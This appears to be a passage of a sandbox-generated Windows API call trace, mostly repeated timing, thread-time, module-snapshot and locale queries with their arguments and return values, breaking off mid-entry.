GetMessageExtraInfo () returned 0x0 [0050.479] GetTickCount () returned 0x1b49e [0050.479] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.479] GetMessageExtraInfo () returned 0x0 [0050.479] GetTickCount () returned 0x1b49e [0050.480] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.480] GetMessageExtraInfo () returned 0x0 [0050.480] GetTickCount () returned 0x1b49e [0050.480] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.480] GetMessageExtraInfo () returned 0x0 [0050.480] GetTickCount () returned 0x1b49e [0050.480] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.480] GetMessageExtraInfo () returned 0x0 [0050.480] GetTickCount () returned 0x1b49e [0050.480] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.480] GetMessageExtraInfo () returned 0x0 [0050.480] GetTickCount () returned 0x1b49e [0050.480] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.480] GetMessageExtraInfo () returned 0x0 [0050.480] GetTickCount () returned 0x1b49e [0050.480] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.480] GetMessageExtraInfo () returned 0x0 [0050.480] GetTickCount () returned 0x1b49e [0050.480] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.480] GetMessageExtraInfo () returned 0x0 [0050.480] GetTickCount () returned 0x1b49e [0050.480] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.480] GetMessageExtraInfo () returned 0x0 [0050.480] GetTickCount () returned 0x1b49e [0050.480] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.480] GetMessageExtraInfo () returned 0x0 [0050.480] GetTickCount () returned 0x1b49e [0050.480] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.480] GetMessageExtraInfo () returned 0x0 [0050.480] GetTickCount () returned 0x1b49e [0050.480] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.480] GetMessageExtraInfo () returned 0x0 [0050.481] GetTickCount () returned 0x1b49e [0050.481] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.481] GetMessageExtraInfo () returned 0x0 [0050.481] GetTickCount () returned 0x1b49e [0050.481] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.481] GetMessageExtraInfo () returned 0x0 [0050.481] GetTickCount () returned 0x1b49e [0050.481] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.481] GetMessageExtraInfo () returned 0x0 [0050.481] GetTickCount () returned 0x1b49e [0050.481] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.481] GetMessageExtraInfo () returned 0x0 [0050.481] GetTickCount () returned 0x1b49e [0050.481] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.481] GetMessageExtraInfo () returned 0x0 [0050.481] GetTickCount () returned 0x1b49e [0050.481] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.481] GetMessageExtraInfo () returned 0x0 [0050.481] GetTickCount () returned 0x1b49e [0050.481] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.481] GetMessageExtraInfo () returned 0x0 [0050.481] GetTickCount () returned 0x1b49e [0050.481] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.481] GetMessageExtraInfo () returned 0x0 [0050.481] GetTickCount () returned 0x1b49e [0050.481] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.481] GetMessageExtraInfo () returned 0x0 [0050.481] GetTickCount () returned 0x1b49e [0050.481] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.481] GetMessageExtraInfo () returned 0x0 [0050.481] GetTickCount () returned 0x1b49e [0050.481] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.481] GetMessageExtraInfo () returned 0x0 [0050.481] GetTickCount () returned 0x1b49e [0050.481] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.482] GetMessageExtraInfo () returned 0x0 [0050.482] GetTickCount () returned 0x1b49e [0050.482] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.482] GetMessageExtraInfo () returned 0x0 [0050.482] GetTickCount () returned 0x1b49e [0050.482] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.482] GetMessageExtraInfo () returned 0x0 [0050.482] GetTickCount () returned 0x1b49e [0050.482] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.482] GetMessageExtraInfo () returned 0x0 [0050.482] GetTickCount () returned 0x1b49e [0050.482] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.482] GetMessageExtraInfo () returned 0x0 [0050.482] GetTickCount () returned 0x1b49e [0050.482] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.482] GetMessageExtraInfo () returned 0x0 [0050.482] GetTickCount () returned 0x1b49e [0050.482] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.482] GetMessageExtraInfo () returned 0x0 [0050.482] GetTickCount () returned 0x1b49e [0050.482] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.482] GetMessageExtraInfo () returned 0x0 [0050.482] GetTickCount () returned 0x1b49e [0050.482] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.482] GetMessageExtraInfo () returned 0x0 [0050.482] GetTickCount () returned 0x1b49e [0050.482] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.482] GetMessageExtraInfo () returned 0x0 [0050.482] GetTickCount () returned 0x1b49e [0050.482] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.482] GetMessageExtraInfo () returned 0x0 [0050.482] GetTickCount () returned 0x1b49e [0050.483] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.483] GetMessageExtraInfo () returned 0x0 [0050.483] GetTickCount () returned 0x1b49e [0050.483] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.483] GetMessageExtraInfo () returned 0x0 [0050.483] GetTickCount () returned 0x1b49e [0050.483] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.483] GetMessageExtraInfo () returned 0x0 [0050.483] GetTickCount () returned 0x1b49e [0050.483] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.483] GetMessageExtraInfo () returned 0x0 [0050.483] GetTickCount () returned 0x1b49e [0050.483] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.483] GetMessageExtraInfo () returned 0x0 [0050.483] GetTickCount () returned 0x1b49e [0050.483] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.483] GetMessageExtraInfo () returned 0x0 [0050.483] GetTickCount () returned 0x1b49e [0050.483] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.483] GetMessageExtraInfo () returned 0x0 [0050.483] GetTickCount () returned 0x1b49e [0050.483] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.483] GetMessageExtraInfo () returned 0x0 [0050.483] GetTickCount () returned 0x1b49e [0050.483] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.483] GetMessageExtraInfo () returned 0x0 [0050.483] GetTickCount () returned 0x1b49e [0050.483] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.483] GetMessageExtraInfo () returned 0x0 [0050.483] GetTickCount () returned 0x1b49e [0050.484] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.484] GetMessageExtraInfo () returned 0x0 [0050.484] GetTickCount () returned 0x1b49e [0050.484] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.484] GetMessageExtraInfo () returned 0x0 [0050.484] GetTickCount () returned 0x1b49e [0050.484] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.484] GetMessageExtraInfo () returned 0x0 [0050.484] GetTickCount () returned 0x1b49e [0050.484] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.484] GetMessageExtraInfo () returned 0x0 [0050.484] GetTickCount () returned 0x1b49e [0050.484] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.484] GetMessageExtraInfo () returned 0x0 [0050.484] GetTickCount () returned 0x1b49e [0050.484] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.484] GetMessageExtraInfo () returned 0x0 [0050.484] GetTickCount () returned 0x1b49e [0050.484] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.484] GetMessageExtraInfo () returned 0x0 [0050.484] GetTickCount () returned 0x1b49e [0050.484] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.484] GetMessageExtraInfo () returned 0x0 [0050.484] GetTickCount () returned 0x1b49e [0050.484] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.484] GetMessageExtraInfo () returned 0x0 [0050.484] GetTickCount () returned 0x1b49e [0050.484] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.484] GetMessageExtraInfo () returned 0x0 [0050.484] GetTickCount () returned 0x1b49e [0050.484] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.484] GetMessageExtraInfo () returned 0x0 [0050.484] GetTickCount () returned 0x1b49e [0050.484] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.485] GetMessageExtraInfo () returned 0x0 [0050.485] GetTickCount () returned 0x1b49e [0050.485] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.485] GetMessageExtraInfo () returned 0x0 [0050.485] GetTickCount () returned 0x1b49e [0050.485] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.485] GetMessageExtraInfo () returned 0x0 [0050.485] GetTickCount () returned 0x1b49e [0050.485] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0051.124] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x58 [0051.143] Module32FirstW (hSnapshot=0x58, lpme=0x18eed0) returned 0 [0051.143] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.144] GetOEMCP () returned 0x1b5 [0051.144] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.144] GetOEMCP () returned 0x1b5 [0051.144] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.144] GetOEMCP () returned 0x1b5 [0051.144] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.144] GetOEMCP () returned 0x1b5 [0051.144] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.144] GetOEMCP () returned 0x1b5 [0051.144] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.144] GetOEMCP () returned 0x1b5 [0051.144] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.144] GetOEMCP () returned 0x1b5 [0051.144] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.144] GetOEMCP () returned 0x1b5 [0051.144] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.144] GetOEMCP () returned 0x1b5 [0051.144] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.144] GetOEMCP () returned 0x1b5 [0051.144] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.144] GetOEMCP () returned 0x1b5 [0051.144] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.144] GetOEMCP () returned 0x1b5 [0051.144] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.144] GetOEMCP () returned 0x1b5 [0051.144] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.145] GetOEMCP () returned 0x1b5 [0051.145] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.145] GetOEMCP () returned 0x1b5 [0051.145] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.145] GetOEMCP () returned 0x1b5 [0051.145] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.145] GetOEMCP () returned 0x1b5 [0051.145] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.145] GetOEMCP () returned 0x1b5 [0051.145] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.145] GetOEMCP () returned 0x1b5 [0051.145] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.145] GetOEMCP () returned 0x1b5 [0051.145] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.145] GetOEMCP () returned 0x1b5 [0051.145] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.145] GetOEMCP () returned 0x1b5 [0051.145] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.145] GetOEMCP () returned 0x1b5 [0051.145] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.145] GetOEMCP () returned 0x1b5 [0051.145] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.145] GetOEMCP () returned 0x1b5 [0051.145] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.145] GetOEMCP () returned 0x1b5 [0051.145] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.145] GetOEMCP () returned 0x1b5 [0051.145] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.145] GetOEMCP () returned 0x1b5 [0051.145] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.145] GetOEMCP () returned 0x1b5 [0051.145] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.145] GetOEMCP () returned 0x1b5 [0051.145] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.145] GetOEMCP () returned 0x1b5 [0051.145] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.145] GetOEMCP () returned 0x1b5 [0051.145] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.145] GetOEMCP () returned 0x1b5 [0051.145] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.145] GetOEMCP () returned 0x1b5 [0051.145] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.146] GetOEMCP () returned 0x1b5 [0051.146] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.146] GetOEMCP () returned 0x1b5 [0051.146] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.146] GetOEMCP () returned 0x1b5 [0051.146] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.146] GetOEMCP () returned 0x1b5 [0051.146] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.146] GetOEMCP () returned 0x1b5 [0051.146] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.146] GetOEMCP () returned 0x1b5 [0051.146] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.146] GetOEMCP () returned 0x1b5 [0051.146] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 